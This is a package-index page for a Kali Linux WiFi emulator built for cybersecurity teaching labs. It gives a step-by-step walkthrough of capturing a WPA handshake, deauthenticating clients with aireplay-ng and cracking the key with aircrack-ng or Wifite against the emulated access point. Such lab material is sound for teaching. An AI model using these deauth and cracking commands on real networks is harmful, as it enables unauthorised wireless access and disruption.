Skip to main content

WiFi emulator and attack lab GUI for Kali Linux

Project description

Intro

Welcome to WiFi Emulator! Please let me know if you have any questions or suggestions. Kaled Aljebur,

Please note: it is only been tested on Kali so far.

To install, in Kali terminal

  1. Install the package using pipx install wifi-emulator
  2. Then run this command to install it as an app wifi-emulator-setup
  3. Then you can start it from the applications menu in Kali, search for WiFi Emulator

Run the steps in the following order:

  1. Generate Access Point Conf file
  2. Edit ap.conf if needed
  3. Generate Access Client Conf file
  4. Edit client.conf if needed
  5. Create Virtual Interfaces
  6. Start Access Point on wlan0
  7. Start Access Client on wlan1
  8. (Optional) Run Wifite for capture/cracking

Other Buttons:

  • Reset: Remove all virtual interfaces and temp files
  • Close: Exit the application
  • Status: Check the status of network interfaces, wlan0, and wlan1
  • Help: Show this window

Clikc on Open Root Terminal button, then follow:

  1. Enable monitor mode on wlan2
    • airmon-ng start wlan2
    • This will change wlan2 into wlan2mon, use ip a to check
  2. Scan the avillable wireless networks
    • airodump-ng wlan2mon
  3. Start capturing the WPA hansshape from the targeted AP
    • airodump-ng wlan2mon --bssid ce:7f:82:23:49:53 --channel 6 -w capture
    • Change ce:7f:82:23:49:53 with wlan0 MAC address
    • If handshake captured, you will see WPA handshake... in the top right
  4. If no hsndshake captured, open new terminal tab, then try to de-auth
    • aireplay-ng --deauth 3 -a ce:7f:82:23:49:53 wlan2mon
    • Change ce:7f:82:23:49:53 with wlan0 or wlan1 MAC address
  5. Stop all commands when see WPA handshake captured,
    • all capturing files located in /var/log/wifi-emulator/capture
  6. Try dictionary attack to get the wifi key from the captured handshake
    • aircrack-ng capture-01.cap -w /usr/share/dict/wordlist-probable.txt

Or, clikc on Open Root Terminal button, type wifite then do:

  • Select wlan2 as monitoring interface
  • Select the Access Point CyberWifi
  • Wifite will try to de-authentiate to ceapture the WPA handshake
  • Little wait and you will see the cracked default key
  • Wifite files are will be located in /var/log/wifi-emulator/capture
  • Each time you run Wifite, /var/log/wifi-emulator/capture will be cleared

Note:

  • Do not clock on "Generate..." after editing because your edit will be gone
  • Ensure you run this tool with root (sudo)
  • Use the status buttons to see the outputs
  • All logs and Wifite cracking results will be saved in /var/log/wifi-emulator/

This application was created for educational and research purposes in cybersecurity teaching labs. The traffic generated between wlan0 and wlan1 is realistic and suitable for hands-on research.

Install .deb in Kali

  • To install:
    • Download wifi-emulator.deb
    • Use sudo apt update && sudo apt install -y ~/Downloads/wifi-emulator.deb
  • To remove:
    • sudo dpkg -r wifi-emulator

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

wifi_emulator-0.1.3.tar.gz (34.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

wifi_emulator-0.1.3-py3-none-any.whl (32.5 kB view details)

Uploaded Python 3

File details

Details for the file wifi_emulator-0.1.3.tar.gz.

File metadata

  • Download URL: wifi_emulator-0.1.3.tar.gz
  • Upload date:
  • Size: 34.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.10.11

File hashes

Hashes for wifi_emulator-0.1.3.tar.gz
Algorithm Hash digest
SHA256 e2fed003dcb35bf8db064f91702d170d1656a1583d5b7432c0742fd7b0a492fd
MD5 d024f93cacfb9e76aef1fb57c77e69c0
BLAKE2b-256 52b0bd59e73e54155c012dbce3f9f1d2da2137dd84327f767fca8992d2f73e75

See more details on using hashes here.

File details

Details for the file wifi_emulator-0.1.3-py3-none-any.whl.

File metadata

  • Download URL: wifi_emulator-0.1.3-py3-none-any.whl
  • Upload date:
  • Size: 32.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.10.11

File hashes

Hashes for wifi_emulator-0.1.3-py3-none-any.whl
Algorithm Hash digest
SHA256 46d4e0cfc691a532be404455601d144b5431095a9f28e9692547e5b1f27c9222
MD5 85a78506aa68c64e8de2f1289f4bd305
BLAKE2b-256 4e0b1faae76363a3b47ed927f90e32ff0ed2e05d6ef01b7d02b41f1752553468

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page